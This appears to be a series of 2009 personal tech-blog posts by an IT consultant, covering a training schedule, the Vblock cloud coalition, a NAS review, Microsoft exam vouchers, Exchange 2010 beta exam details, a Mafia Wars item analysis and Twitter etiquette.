I think I’m gonna be hardpressed to find time to step out of everything going on, but I’ll see what kind of flexibility exists!

The official “Agenda” which was delivered to me stated this:

Times: M & W 8-5pm; Tu 8am-9pm; Th 8-6pm; F 8-2pm

Considering I’ll be shuttled to the Airport at noon on Friday, not much chance to do things then.   And as far as the other days.. here is my “unofficial” agenda I came across… :)

Sunday, Nov 8th – 6-7 Dinner, 7-930 “Storage Basics” class – So unless we’re doing something on a Sunday evening after 10!? Though if you want, I can bail on the Storage basics class and be available after 7PM on Sunday!

Monday, Nov 9th – 8-5 Training, 530 Bus to Boston, 6-7 Dinner (And I imagine a bus back? so this evening looks kind of set in stone a bit, not sure how flexible!)

Tuesday, Nov 10th -  8-4 Training, 4-??? Other Training (By the looks of above, it claims I’m busy until 9PM!? So that may be true…)

Wednesday, Nov 11th – 8-5 Training, 6-7 Dinner, and Evening is more training, so again, not sure if this is a possible day – but one thing to note: Franklin Facility Tour in the morning, and EBC tour as well!

Thursday, Nov 12th – 8-6 Training, 6-7 Dinner, and then it talks of “Evening” for some more training, so another unknown

Friday, Nov 13th – 8-2 Solid, and then off to airport – Again, too many unknowns..

If you have any suggestions or experience in the areas of the training I’ll be attending as to knowing when things will normally run to, and the liklihood of dinner or otherwise, I’m open to finding that out, else I may be out there – in the area, but no chance to actually meet/see any of you!@?

Either way, here is my schedule, published and available! :)

If you are like me, you may have noticed that ever since Tuesday November 3rd after 8PM Central – Your tweets have shown up on Facebook as Private “Only Me”

However, after I took steps to figure out WTF happened, I solved it, and I’ll show you how too!

Out of nowhere, Facebook decided to setup some function called “Publisher Control Default” which if yours looks like mine, it’d look like this:

Effectively making it so all content generated (such as Tweets) or other “Publisher Controls” were showing up as Only Me – seen above

This can be easily fixed by doing the following

So, what this means for you is – You no longer have to worry about the loss of your visible tweets and the pure WTF-ness this was provided by Facebook (WTF Seriously!)

Also, if you’d like to follow me on Twitter or Facebook, feel free to send an invite :), and respectively, if you want to join my Mafia or other stuff, I love new friends!

So, who DOES think that this whole VCE coalition is a good idea? Is anyone willing to put their name against it? (Other than the CEO’s of 3 of the largest and best of breed innovative companies on the planet?)

Certainly, Steven Tally – CTO of Purdue University wouldn’t go on record saying:

“Purdue is a research university and the majority of our IT needs are spent on high-performance computing, which requires strong computing, massive amounts of storage, and high-speed networking fabric,” said Steven Tally, CTO of Purdue University.  “The Vblock solution offers these elements in a single pre-tested, pre-integrated solution which will be easier to deploy.  VMware, Cisco, and EMC are ideal partners to respond to this problem because they offer complementary tool sets and have a history of delivering good products in the market space.  When these solutions are tied together in a coherent and systematic way, it is very good news for an environment like Purdue.”

I mean, frankly that’d be ridiculous! That’s  because no one is obviously using this ‘untested’ ‘untrained’ and certainly ‘unplanned’ initiative of aligning three worldclass businesses together around efforts to improve the experience in data centers and making the private cloud a reality?   I frankly know of many other businesses leveraging VCE, as well as many getting ready to sign off on it, and thus I will not share that information until I have something external to reference on it (I do like keeping my job, kthx! ;))

CNN Broke the news as far as the link to the Webinar would go, with announcements being made by:
John Chambers, chairman and CEO for Cisco
Joe Tucci, chairman and CEO for EMC Corp
Paul Maritz, president and CEO for VMware

There has been a lot of chatter about this, over the weekend and even moreso leading into this announcement, with some highlights:

The launch of Privatecloud.com is only the beginning in the mass of places to find out information and content on this amazing initative.

VCE Beats out IBM with Melbourne IT

Cisco and EMC, Together with VMware, Form Coalition to Accelerate Pervasive Virtualization and Private Cloud Infrastructures

In unveiling the Virtual Computing Environment coalition, Cisco and EMC also introduced Acadia, a joint venture focused on accelerating customer build-outs of private cloud infrastructures through an end-to-end enablement of service providers and large enterprise customers. Acadia’s unique “build, operate, transfer” model for delivering the Vblock architecture, addressing people, process and technology, will offer customers further choice, flexibility and cost advantages as they seek to virtualize their IT infrastructures and evolve to private cloud environments. In addition to Cisco and EMC as the lead investors, the build-out of Acadia’s expanded capabilities in 2010 has also been capitalized by investments from VMware and Intel. Because the Vblock architecture relies heavily on Intel Xeon® processors and other Intel data center technology, Intel will join the Acadia effort as a minority investor to facilitate and accelerate customer adoption of the latest Intel technology for servers, storage, and networking.

Cisco, EMC, and VMware join hands and plunge into cloud: Acadia, the power of three

In fact, many partners – both systems integrators, and service providers have all started lining up behind Vblocks.    Here are just a few examples:

Most of the vCloud Express launch partners are using the VCE coalition, and want to move forward with a formal Vblock model.   Examples are Terremark, Alphawest, Savvis, Orange and SunGard. (Thanks for this Chad!)

Virtual Compute Environment – an insider’s take.

Virtual Compute Environment – Vblock Partner Ecosystem

Virtual Compute Announcement – Integrated Sales/Service/Support

Virtual Compute Environment – Solutions Venture and Investment

Virtual Compute Environment – Technology Innovations

Also, looks like there is some Twitter presence too! So, represent! @privatecloudcom

Today, is quite an exciting day, and while all of this is high level, I’d be glad to go into much more depth about this – something I’m sure many of those linked and referenced here can say and do the same.   This is not intended to be a tutorial, but an advisory of what’s new, where to go, and I’ll have separate blog posts to go into the details :) It’s an exciting day! :)

If you’re not familiar with this little beast in a box, here are some of the high-lights which this brings to bear!   NFS, CIFS, iSCSI, AFP Support, BitTorrent client, Xbox Media Services, Printer, USB, Rsync, Celerra integration, dual gigabit Ethernet?!   Oh, and did I mention it’s –VMware- Certified out of the box?!?

Now, seriously! Let’s take a tour of this little system which has taken quite a step or integration in my household!

When I first powered this system up, it sat there for awhile without me doing anything to it.  Why? This thing is SILENT! I forgot I had powered it up, and as a result didn’t even bother to check what the IP address was that it assigned itself!   Well, out of the box, it came with a RAID protection I was fine with! I had options to change it, but I’m comfortable with it!

Frankly, this covers most of what you need to do with the device and you’re set! –Done!- But that doesn’t mean you need to stop there!

Most of the features in this unit can be configured by simply checking a box and poof! You’re done!

I have mine configured in the following fashion: AFP for my Macbook to backup, NFS and iSCSI for my ESX Servers, CIFS for local network file access, Media Services to interface with my Xbox360 to stream content and pictures, rsync Server to strangely replicate the box between this ix4 and an ix2 as well as to replicate over to the Celerra VSA :)   (Oh, and the Avamar Virtual Edition running in a VM backing up all of my home machines while taking up far less space with inline deduplication :))

I don’t have Video Surveillance enabled yet, but it’s nice to know the integration is built in there! (Printers also nice, but this lives in a closet, so I’m not sure I want to do that :))

So, hopefully you get the opportunity to play around with this power house in a box, and with the ix2-200d offering the same services (but with less disks and less IOPS) Oh, and if you’re interested in buying one, it’d help if you knew the “retail” costs!

So, that gives you an idea of “retail” cost, now I’d say, go to Fry’s and try not to pay more than $599.99 for the 4TB model (Fry’s is your friend! ;))

For another great review of this, check out Stephen Foskett’s review!

I’ll have some of the prizes/giveaways for the Windows 7 party with me, but lo and behold here are the details for the Chicago meeting of the CWUG!

We had our Annual PC Recycle at our September meeting in Downers Grove.  Brian Jones arranged for ATEN to join us in the parking lot of the Microsoft Downers Grove parking lot again this year (thanks Brian!).  This was also our 2nd consumer focused CWUG – Jeri Stodola gave an example of our very first birds of a feather session and has earned her very own Windows 7 Backpack!  We’re still looking for topic suggestions and facilitators for our 2^nd Enterprise focused meeting which will be held downtown Chicago in the afternoon. Sign up information is provided below NOTE:  the date was changed to October 22^nd.

October Meeting – Enterprise Focused

Thursday, October 22^nd

12:30 – 1:30 bring lunch/network

1:30 – 1:45  meeting begins

1:45 – 4:15 Topics and Birds of a Feather sessions

Session 1:  HyperV

Session 2:  Diagnostics and Recovery Toolset (DART)

http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032424373&culture=en-US

Going forward, we will use the CWUG online group to share information, communicate with each other and schedule meetings:  http://cwug.groups.live.com

Be sure to SIGN Up for the CWUG and I will see you there!

Is your SharePoint environment Secure? (Or even your Exchange environment) and are you looking for solutions around that? Check out what RSA has to say! (RSA Invented security, right?!)

I welcome you to join us for Lunch and content here in Lisle, IL at the EMC Offices! (I will be there, so I can see what RSA has to offer in conjunction with the Microsoft solutions, not to mention checking out the latest happenings on SharePoint 2010 – Yes, I know a lot around SharePoint, but I love it when someone knowledgeable gets up there and evangelizes on it!

A few things clipped from the invite, such as the products covered (Exchange, booyah!) and the ‘intended audience’ If I’m reading that correctly, that’s almost everyone in IT ;)

Featured Products/Topics: Microsoft Office, Microsoft Office SharePoint Server, Microsoft Exchange Server 2010

Recommended Audiences: Technology Executives, IT Managers, CEO, CIO, CFO, IT Directors, Administrators, Business Decision Maker, Technical Decision Makers

Thursday, October 29
EMC Office
4225 Naperville Road, Ste 500 Lisle, IL 60532
10:30 am. – 1:30 p.m.
Space is limited, reserve your place now!

If you want an email invite, let me know and I can shoot one off to you! (I will be attendance!)

With that said though, Charles Phillips needs to hear from you – the customer : Do you want to run Oracle on VMware? Let him know! – The contact information sniped from another location (which I’ll cite inline as well :))

Re: Need a favor – Oracle

You are not going to believe this. Some VMware folks met with Charles Phillips, the president or CEO of Oracle and he said no customers had ever mentioned to him that they wanted Oracle to support their products on VMware. Or modify the licensing scheme. He offered if anyone knew of customers who did want better or more support for Oracle on VMware, or virtualization friendly licensing, to email him directly. His email is Charles.phillips@oracle.com and he really needs to hear that customers run Oracle on VMware, and better support / licensing would be nice!

So, I’d like to send special thanks to Oracle Storage Guy, Duncan Yellow Bricks, Chad SaKac – and I’m sure others may have discussed this already!

Oracle on VMware – it’s time for us to speak up or shut up!

Oracle feels that not many people want to run their apps in a virtual environment!

Charles Phillips Asks for Customer Input on VMware

I feel it bears repeating – Let Charles know how you feel about Oracle on VMware! I’m always a fan of using my existing virtualization investment to run my next app on, instead of having to invest in yet ANOTHER point solution to run one of my existing apps (which is where it looks like they’ve been trying to go with their Xen, Iron and other investments ;))

I’d like to introduce you to Mike Laverick, Virtualization guru extraordinaire! And what Mike has produced here is amazing videos (which you can actually see, since he converted them to SWF/Shockwave files) and not to mention they’re human, humourous and even more so, extremely valuable and fast!

Oh, did I mention these videos will also be supplemental to his Book?! (the book isn’t out yet, but I’ll pick it up as I know how valuable it will be!)

So, I highly encourage you to check this out, if you’re familiar with ESX and haven’t touched on vSphere yet, if you’re a master of VMware and want some good insight and value, and most importantly, even if you’ve never touched VMware, or virtualization before – You’ll get a –lot- out of this! So check it out, this is some of the best content you can pay for – and it’s free!

Yes, it was my last day at NetApp – breaking up is hard to do, and this was a particularly challenging breakup!

I didn’t have the opportunity to send a formal farewell message to folks internally, so this will serve as my farewell (but not goodbye!)

For those of you who don’t know, I worked for NetApp in the Chicago District – Yes, this is the very same Chicago district who recently won Teamwork Award across all of the Americas in the hardest Q4 most businesses had to deal with in their entire business!   So, it goes without saying that I had the opportunity of working with a cohesive family which embodied teamwork.

Fortunately, I worked with, met and interacted with so many intelligent and passionate individuals, the entire experience of working for Fortune magazine’s #1 best company to work for was an absolutely great, engaging and rewarding experience like no other.    In the short time (2 years) I was with NetApp I have seen extraordinary change, the ecosystem of business and the economy go on a rollercoaster adventure.   Never once did these individuals stray, but instead stepped up to the occasion and became better for their actions.   I know in my stead, this trend will continue and I look forward to seeing the growth within the community over the passage of time.

So, while I will miss you all – this is only farewell, but not goodbye.  Fortunately the community we’re all a part of is a receptive and growing one.  Our paths will cross continually and growth and self-development will always be an agenda we all pursue.   My community involvement will not shrink, and likely will continue to increase.  And my communication back out of offers to the technology community as a whole (whether those be discount vouchers, opportunities, so on and so forth) will continue to flow like a tapped pool of knowledge!

I’m sure given the circumstance many of you may be interested in why I made this particular decision.   Know that through heavy calculation, this was chosen as the best decision for me and my family at this particular stage in my life, and is in no way a reflection of the absolutely amazing organization I am walking away from to the equally amazing organization I am going towards.  

I am particularly excited about the new role I will starting on September 14th, 2009 (My Birthday of all days!)   Yes, while this may read as though it is a rebirth; starting a new job on my birthday, I will be certain to bring the same level of passion, engagement and enthusiasm that every one of you who has ever met me is likely to recall. :)

The next chapter of my life will be living the rock star life of a Senior Technology Consultant at EMC, continuing my trend of raising awareness, education, doing the right thing, evangelizing and informing the Enterprise IT community.     I know what you’re saying “Wow Christopher, you’ve held one consulting role or another for the past 20 years” Damn straight skippy! A consultant is strangely what I grew up knowing and being, and the evangelist side of things is just a further extension of my adopted religion (Re: Facebook Religion status is listed as Technology:))

I will continue to be actively involved in giving back to various technology communities.   Within the Exchange community (there’ll be more to say on that soon ;)), within the Chicago Microsoft space in general (Chicago Windows Users Group), the global Microsoft space (TechEd) and the Training Community (MCT Summits, etc).  I encourage you to reach out to me through any of these avenues, not to mention LinkedIn, Facebook, Twitter, (vouchers ;)) and any number of random Security, Cloud and Virtualization events as they come up! (Oh, email is fine too :))

So, I wish every one of you I’ve had the opportunity to work with, customers, partners and colleagues alike the best! Do keep in touch and let me know how things are with you, and I’m glad to help in the various ways I can and do help within the community!    And to my future customers, partners and colleagues – I look forward to the opportunity to work with you!

Best of luck, I appreciate all of the encouragement and continue to look for good things from me… :)

Did you get one of these mails? House Party extravaganza?! If you didn’t, well here is the low-down!

Be a part of Windows^® history.
Host a Windows^® 7 Launch Party.

Have Fun. Help Your Friends.

Receive a Signature Edition of Windows^® 7 Ultimate.

You host the party. We’ll bring the favors.

Apply online to host a Launch Party. Choose a day from October 22-29 and if you’re selected, you’ll not only receive a special Signature Edition of Windows^® 7 Ultimate but your very own Windows^® 7 Party Pack.

Hosting a Windows^® 7 Launch Party is easy.

You’ll be assisted by House Party, the world’s leading party organizer. Pick a theme, then upload photos and videos, chat with other hosts, blog your experience, and download fun favors all from your personal House Party page.

Let’s Party!
Just choose one of our Windows® 7 Party Themes:
•    > PhotoPalooza
•    > Media Mania
•    > Setting Up With Ease
•    > Family Friendly Fun

All around it sounds like it’d be a blast! Fill out the form, and coordinate a party, receive a party pack and give away favors.. yay?!   I don’t know about you, but I’m all signed up and if I get approved… par-tay! It doesn’t hurt that a majority of all computers we run in our household are already running Win7 ;)

So, get out there, apply.. earn your free Signature Edition of Win7 Ultimate! Party Favors! Connect with the community! and more!   Hell, I may host mine at our 2000 square foot studio if I get much demand for this! :) So, party down! win7, yay! :)

Why yes, yes you do! Your opportunities are flipping endless! This offer is valid until December 31st of 2009, and only applies to a finite number of exams, but if you happen to hit one of the exams which is 25% off, I’d say take that over my 20% off vouchers any day! (albeit, if its 20% or 15% off… let me know and I’ll get you a voucher if you’re in one of the 20% off countries :))

TECHNOLOGY EXAM TITLES NUMBER   Windows Server 2008 TS-Active Directory, Config 640 Get Voucher Windows Server 2008 TS – Infra Services, Config 642 Get Voucher Windows Server 2003 Managing and Maintaining Environment 290 Get Voucher Windows Server 2003 Implementing, Managing and Maintaining, Network Infra 291 Get Voucher Windows Server 2003 Planning and Maintaining Network Infra 293 Get Voucher Windows Server 2003 Planning, Implementing and Maintaining AD 294 Get Voucher Windows 7 TS – Windows 7 Configuring 680 Get Voucher Windows Vista TS – Vista Config 620 Get Voucher Windows XP Installing, Config, and Administering 270 Get Voucher Windows XP Supporting Users and Troubleshooting 271 Get Voucher Windows XP Supporting Users and Troubleshooting Desktop Apps. 272 Get Voucher SQL 2008 TS – Implementation and Maintenance 432 Get Voucher SQL 2008 TS – DB Dev 433 Get Voucher SQL 2008 TS – BI Dev 448 Get Voucher SQL 2005 TS – Implementing and Maintaining 431 Get Voucher Exchange 2007 TS – Exchange, Config 236 Get Voucher Visual Studio/.Net TS – .NET 2.0, Web-based Client Dev 526 Get Voucher Visual Studio/.Net TS – .NET 2.0, Web-based Client Dev 528 Get Voucher Visual Studio/.Net TS – .NET 2.0, Distributed App Dev 529 Get Voucher Visual Studio/.Net TS – App Dev Foundation, .NET 536 Get Voucher Virtualization TS – Microsoft Desktop Optimization Pack, Config 656 Get Voucher Virtualization TS – Windows Server Virtualization, Config 652 Get Voucher Sharepoint TS – Sharepoint 07 Config 630 Get Voucher Sharepoint TS – Sharepoint07, App Dev 542 Get Voucher

if you want to take an exam on this list, and you’re located in the US, UK, Germany, Australia and other 20% off countries – Let me know and I’ll get you a 20% off voucher instead!

TECHNOLOGY EXAM TITLES NUMBER   Windows Server 2008 TS – App Infra, Config 643 Get Voucher Windows Server 2008 Upgrading MCSA to MCITP 648 Get Voucher Windows Server 2003 Designing an AD Network Infra 297 Get Voucher Windows Server 2003 Designing Security 298 Get Voucher Windows Server 2003 Implementing and Administering Security 299 Get Voucher Windows Server 2003 Config and Managing Hosted Environments 501 Get Voucher Windows Vista TS – Deploying and Maintaining Vista and Office 2007 624 Get Voucher SQL 2005 TS – Implementing and Maintaining BI Solutions 445 Get Voucher Visual Studio/.Net TS – .NET 3.5, Win Presentation Foundation 502 Get Voucher Visual Studio/.Net TS – .NET 3.5, Win Communication Foundation 503 Get Voucher Visual Studio/.Net TS – .NET 3.5, Workflow 504 Get Voucher Visual Studio/.Net TS – .NET 3.5, Windows Forms Applications 505 Get Voucher Visual Studio/.Net TS – .NET 3.5, ADO 561 Get Voucher Visual Studio/.Net TS – .NET 3.5, ASP.NET App Dev 562 Get Voucher Virtualization TS- System Center Virtual Machine Manager 2008, Configuration 403 Get Voucher Sharepoint TS – Sharepoint 3.0, App Dev 541 Get Voucher Sharepoint TS – Sharepoint Services 3.0, Config 631 Get Voucher

If you’re interested in any of these exams, are in one of above mentioned countries and want your discount until June 30th, 2010 – Let me know and go for the 20% off! :)

TECHNOLOGY EXAM TITLES NUMBER   Windows Server 2008 Pro – Server Admin 646 Get Voucher Windows Server 2008 Upgrading MCSE to MCITP 649 Get Voucher Windows Server 2008 Pro – Ent. Admin 647 Get Voucher Windows Vista Upgrading MCDST to MCITP 621 Get Voucher Windows Vista Pro – MS Desktop Support 622 Get Voucher Windows Vista Pro – Supporting and Troubleshooting Applications 623 Get Voucher SQL 2008 Pro – Designing, Optimizing and Maintaining 450 Get Voucher SQL 2008 Pro – Designing DB and Data Access 451 Get Voucher SQL 2008 Pro – BI Dev 452 Get Voucher SQL 2008 Upgrade – SQL05 to SQL08 MCITP DBA 453 Get Voucher SQL 2008 Upgrade – SQL05 to SQL08 MCITP DBD 454 Get Voucher SQL 2008 Upgrade – SQL05 to SQL08 MCITP BI 455 Get Voucher SQL 2005 Pro – Designing DB Solutions 441 Get Voucher SQL 2005 Pro – Designing and Optimizing Data Access 442 Get Voucher SQL 2005 Pro – Planning, Designing, Developing and Optimizing DB Solutions 443 Get Voucher SQL 2005 Pro – Optiming and Maintaining DB Administration 444 Get Voucher SQL 2005 Pro – Designing a BI Solution 446 Get Voucher SQL 2005 Upgrade – MCDBA to MCITP 447 Get Voucher Exchange 2007 Pro – Designing Messaging Solutions 237 Get Voucher Exchange 2007 Pro – Deploying Messaging Solutions 238 Get Voucher Visual Studio/.Net Pro – Designing and Developing Web-based Apps using .NET 547 Get Voucher Visual Studio/.Net Pro – Designing and Developing Windows-based applications using .Net Framework 548 Get Voucher Visual Studio/.Net Pro – Designing and Developing Enterprise Apps using .NET 549 Get Voucher Visual Studio/.Net Upgrade – MCAD Skills to MCPD Web Developer by Using Microsoft .NET Framework for VS.NET 551 Get Voucher Visual Studio/.Net Upgrade – MCAD Skills to MCPD using .Net Framework 552 Get Voucher Visual Studio/.Net Upgrade – MCSD .Net skills to MCPD Enterprise Application Developer 553 Get Voucher Visual Studio/.Net Upgrade – MCSD .Net Skills to MCPD Enterprise Application Developer, Part 2 554 Get Voucher Visual Studio/.Net Pro – Designing and Developing Windows Applications using .Net Framework 3.5 563 Get Voucher Visual Studio/.Net Pro – Designing and Developing ASP.Net Applications Using .Net Framework 3.5 564 Get Voucher Visual Studio/.Net Pro- Designing and Developing Enterprise Application Using .Net Framework 3.5 565 Get Voucher Visual Studio/.Net Upgrade – Transition your MCPD web developer skills to MCPD ASP .Net Developer 3.5 567 Get Voucher Visual Studio/.Net Upgrade – Transition your MCPD Enterprise Application Developer Skills to MCPD Enterprise Application Developer 3.5, Part 1 568 Get Voucher Visual Studio/.Net Upgrade – Transition your MCPD Enterprise Application Developer Skills to MCPD Enterprise Application Developer 3.5, Part 2 569 Get Voucher

If you have the chance to take these exams? Act on it! 25% off can’t be beat! (Well, unless you’re an MCT or MVP and your discounts massively out-rule that! ;)) but still! Act on these badboys! If you miss that window though, let me know and I’ll get you some vouchers to use before June 30th, 2010!

There is no better time than the present in order to get yourself certified! Take your future into your own hands – Did you hear there will be 4million IT jobs created in the next 5 years, but no qualified people to fill them? Hey.. Get Qualified! (but preferably at a discount ;))

This data was collected by fighting someone else and seeing what weapons at that point I was using, then charting them down to ATTACK, DEFENSE and relative COST to obtain said item.

Here is a breakdown of that data – distributed into their appropriate groups (Weapons, Armor, Vehicles)

What you may notice here, is that I call out TNT as the best item to aim for. (And yes I intentionally avoid putting the other locations of areas I don’t care about :))   As far as the cost benefit analysis and the ROI of the weapons go, TNT is far cheaper and provides JUST as much bang for the buck as the Canonazo without the extra 22 energy cost – I’d pursue Canonazo’s later on if I was hard locked in with TNT but otherwise, there really isn’t a whole lot of value of pursuing anything less than that considering the 42/20 value of TNT – So get yourself some TNT!

Wow! Look at our armor options! The best energy item for your bang is the Guerilla Squad only costing a mere 40 Energy! (With a close second for the Rebel Sniper – I do continue to use my cuban dollars to buy as many of those as I can, as 24/20 sure beats anything below it) But the 34/30 value of the Guerilla Squad is the best you’re going to get at this point in time.  It’s what wins the battle and what protects your Mafia – So pursue that, and ignore any other Armor option at this time.

We can see best from the Air, and that’s well proven with the power of the Hu-9 Helicopter! Yes I choose that bad boy, he’s essentially the same value of the Track Loader, with a 21 Energy savings to get that protection and attack strength ever so required.   While there certainly are a number of other options, look at the under/over on the energy cost differences – It is clearly negligible and well worth it to pursue the Hu-9 Helicopter of any other options that may be available.

So, as it stands these are by far the most cost effective and beneficial items you can get to protect your mafia.  This may clearly change when Moscow comes about, but until that point we’re in the clear about what it takes to defend, protect and grow our mafia’s! So take this information and if you disagree, let me know I’d love to be schooled on where I’m incorrect :)

Who know this exam would be so popular! (Okay, I knew it would, but I still missed the window.. but we’ll see… :) Worst case I’ll pay to take the beta!   Here are the details of the exam.

You are invited to take beta exam 71-662: TS: Microsoft Exchange Server 2010, Configuring. If you pass the beta exam, the exam credit will be added to your transcript and you will not need to take the exam in its released form. The 71-xxx identifier is used for registering for beta versions of MCP exams, when the exam is released in its final form the 70-xxx identifier is used for registration.
By participating in beta exams, you have the opportunity to provide the Microsoft Certification program with feedback about exam content, which is integral to development of exams in their released version. We depend on the contributions of experienced IT professionals and developers as we continually improve exam content and maintain the value of Microsoft certifications.

71-662: TS: Microsoft Exchange Server 2010, Configuring counts as credit towards the following certification(s).

· MCTS: Microsoft Exchange Server 2010, Configuration

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Availability

Public Registration begins: August 24, 2009

Beta exam period runs: August 31, 2009– September 14, 2009

Receiving this invitation does not guarantee you a seat in the beta; we recommend that you register immediately. Beta exams have limited availability and are operated under a first-come-first-served basis. Once all beta slots are filled, no additional seats will be offered.

Testing is held at Prometric testing centers worldwide, although this exam may not be available in all countries (see Regional Restrictions). All testing centers will have the capability to offer this exam in its live version.

Regional Restrictions: India, Pakistan, China

---

Registration Information

You must register at least 24 hours prior to taking the exam.
Please use the following promotional code when registering for the exam: E14J
Receiving this invitation does not guarantee you a seat in the beta; we recommend that you register immediately.

To register in North America, please call:

Prometric: (800) 755-EXAM (800-755-3926)

Outside the U.S./Canada, please contact:

Prometric: http://www.register.prometric.com/ClientInformation.asp

---

Test Information and Support

You are invited to take this beta exam at no charge.
You will be given four hours to complete the beta exam. Please plan accordingly.
Find exam preparation information: http://www.microsoft.com/learning/en/us/exam.aspx?ID=70-662

So, if/when I take this exam, look forward to a nice Post-Mortem to come out of it! And for those of you who got in under the wire, good luck!

Well, I don’t know about you, but the only thing better than an amazing and great title.. is a great and –free- downloadable title too!   And yes, that is correct! This book is now available for free download from Microsoft! So I encourage you to check it out, it’s only 100 pages too, so definitely a quick read! I’d like to thank our good friends at the MSPress Blog for sharing this!

#10 – Be a douche!   We’ve all met the guy who frankly is a douche! You’ve seen his tweets! If you ever see an @ conversation with him and someone else you know it is obviously a typo!   He’s all about him-him-him! He clearly puts the TWIT into Twitter!    So rise up, take action and be sure to talk all about your new SEO techniques to make you millions, only $59.99 today!

#9 – Treat people like an idiot!    You’re all self important, you’re never wrong, so why change that personality once you get on twitter! I’m sure you and your 129 followers are loving your candid and quirky little ways, when even when proven and cited wrong with reference able material you continue down your track record of “Well, they’re just idiots!”

#8 – Ask people to retweet your lame tweet!     You definitely have a message to deliver, even if that message is “I must have 1000 followers by Tuesday, so please retweet my senseless plea for help!”   Far from it from me to suggest you obtain a personality and engage in conversation or sharing of information, definitely reach out to the RT-o-sphere!

#7 – Constantly start fights on twitter     I know we were having a conversation, but now I want to be rude and find something to fight about! Retweet me calling you bad names, yea!

#6 – Complain about how Twitter is getting too big!    You can’t help but complain! If it’s not that Twitter is growing too fast, it’s that it’s down today, you have an API limit, you’re following 2000 people and you cannot follow anyone else!  You’re going to switch to identi.ca today! Damnit, Twitter is like Facebook, or isn’t enough like Facebook! I MISS FRIENDFEED!

#5 – Be Racist on Twitter      Wow! You’ve sure reached a new level of engagement! Let’s take our own shallow selves and put it out to a mass of readers and listeners so we can appear ignorant on a global scale!   Racism wasn’t cool in person, and it’s even less cool when put into a social media context.   Let’s take it up a notch and get over your insecurities.

#4 – Talk about Tea Parties in every tweet     Yea, we get it.  You’re upset about something, and now you’ve decided to back a social movement which involves an idea of our founding fathers, but not taking into account the modern social meaning of the term ‘tea bagging’ and then you further don’t understand why we laugh when you talk about it?    Welcome to the internets!

#3 – Talk about your new ebook which will guarantee you thousands of followers on Twitter!   Hey, I opt’d to look at your profile instead of your ebook first, turns out you have 39 followers. WTF? Where is your credibility? If your $59.99 ebook works so well, why don’t you have more than a hand full of followers as you’re promoting?  That’s as good as the Hobo’s guide to CEO operations.

#2 – Be an unfunny contrarian    Hey, be a contrarian, I’m definitely game for that as I like taking an alternative position with an intelligent perspective on it.  But if you’re going to be contrary, at least be funny while you’re doing it.   You might even earn a retweet out of the deal!

And last but not least! Infact the number one way to guarantee you won’t get a retweet on twitter…!

#1 – If you don’t retweet me I’ll unfollow you!    Yea, I get it.   The very fabric of the universe rests upon whether this particular tweet is RT’d by me where I am.  I woke up to see I was unfollowed by the masses throughout the night because while I slept, I wasn’t auto-retweeting your hilarious antics of racist douchey contrarian bitching about the Tea Party failing to be understood by the “Idiots” in america.  IF I COULD ONLY BE ON O’REILLY FACTOR ALL OF THE PROBLEMS OF TWITTER WOULD BE SOLVED.

Yea, I get it.

Now, I encourage you to go out there, and Retweet away! And if you’re retweeting folks like above, be sure to let them know you’ve done them a special service!  And if you’re not or you feel there are even more appropriate ways and reasons someone shouldn’t be retweeted, pass that on as well!

Well, I’ll be the first to tell you – the value of certification is what you get out of them, and that’s often compounded by what you PUT into it.   But you can’t get value until you understand what lay before you.  Citrix has a number of tracks and strategies to address this with the Administrator (CCA), Engineer (CCEE) and Architect (CCIA) roles.

Administrator (Falls into two tracks, Enterprise and Platinum)

As you can see, the Enterprise exam is a good start in your path to being a Citrix Xen Master, and then it builds upon that with skills of the Platinum track to becoming an Engineer.

Engineer

As you can see there is an extended amount of effort and testing required in order to be seen as a Citrix Engineer, only to be rivaled by stepping up to the Architect level!

Architect

With the tracks above, and your own desire to make yourself more credible, tangible and experienced – You should be set to be your own personal Admin, Engineer or Architect of the future of Virtualization!   There are many paths to pursue in the realm of Virtualization and they all tend to overlap one way or another which will bode infinitely useful when it comes to your experience.

Good luck out there, Get trained, Get Certified and Get Virtual!

And you are solidly and absolutely correct! Infact they’re still looking for SME’s to participate in the beta for this lovely exam to come!

But for the lucky ones who will be taking the reigns of beta-dom under their belt, there are some things you should know in order to prepare for this!   First of all, there is a BRIEF! Yes a brief of what to expect on the beta!    But even moreso, there is reference to the “Preparation Materials”  below discussing classroom training of 10135A: Configuring, Managing and Troubleshooting Microsoft® Exchange Server 2010 (5 Days) which is not available as of today’s date, so keep that in mind!  But on to the full detailed breakdown of what to expect!

Published:    October 27, 2009 (in development)
Language(s):    English, French, German, Japanese, Portuguese (Brazil), Chinese (Simplified)
Audience(s):    IT Professionals
Technology:    Microsoft Exchange Server 2010
Type:    Proctored Exam

Overview:

Audience Profile
The typical candidate is a Messaging Generalist responsible for the maintenance and administration of the Exchange servers in an enterprise environment. Day to day, the candidate typically installs and manages Exchange Server 2010 and manages users, mailboxes, security, servers, and databases by using Exchange Server 2010. The candidate might also monitor and troubleshoot Exchange Server 2010.

Credit Toward Certification
When you pass Exam 70-662: TS: Microsoft Exchange Server 2010, Configuring, you complete the requirements for the following certification(s):
Microsoft Certified Technology Specialist (MCTS): Microsoft Exchange Server 2010, Configuration
Exam 70-662: TS: Microsoft Exchange Server 2010, Configuring: counts as credit toward the following certification(s):
Microsoft Certified IT Professional (MCITP): Enterprise Messaging Administrator 2010
Note This preparation guide is subject to change at any time without prior notice and at the sole discretion of Microsoft. Microsoft exams might include adaptive testing technology and simulation items. Microsoft does not identify the format in which exams are presented. Please use this preparation guide to prepare for the exam, regardless of its format.

So as we can see the expectation is you will take this exam if you’re fulfilling your role as an administrator or filling out the bulk of your Professional experience in Exchange!

Skills Measured:

This exam measures your ability to accomplish the technical tasks listed below.The percentages indicate the relative weight of each major topic area on the exam.

Installing and Configuring Exchange Servers (15 percent)

• Prepare the infrastructure for Exchange.
  • This objective may include but is not limited to: prepare schema; prepare domain; prepare Active Directory; ensure the domain functionality level is correct; domain controller service packs; Exchange readiness check; coexistence; migration from 2003 or 2007; disable LinkState; Exchange Server Service Pack level; remove unsupported legacy components; configuring DNS to support the Exchange deployment
• Install Exchange prerequisites.
  • This objective may include but is not limited to: install MMC 3.0, Windows PowerShell 2.0; Microsoft .NET 3.5, WinRM 2.0, IIS, Windows roles and features, use ServerManagerCMD, use Exchange prerequisite scripts
• Install Exchange roles.
  • This objective may include but is not limited to: from the command line and the GUI; adding and modifying roles; add server roles to existing Exchange 2003 or 2007 organizations; verify Exchange installation; Security Configuration wizard (SCW); Windows Firewall, including port requirements; installing Exchange Server using standard and custom installation; installing Exchange Server using the command line; provisioning an Exchange Server and delegating server installation; troubleshooting a failed installation; adding Exchange Server roles after an initial installation
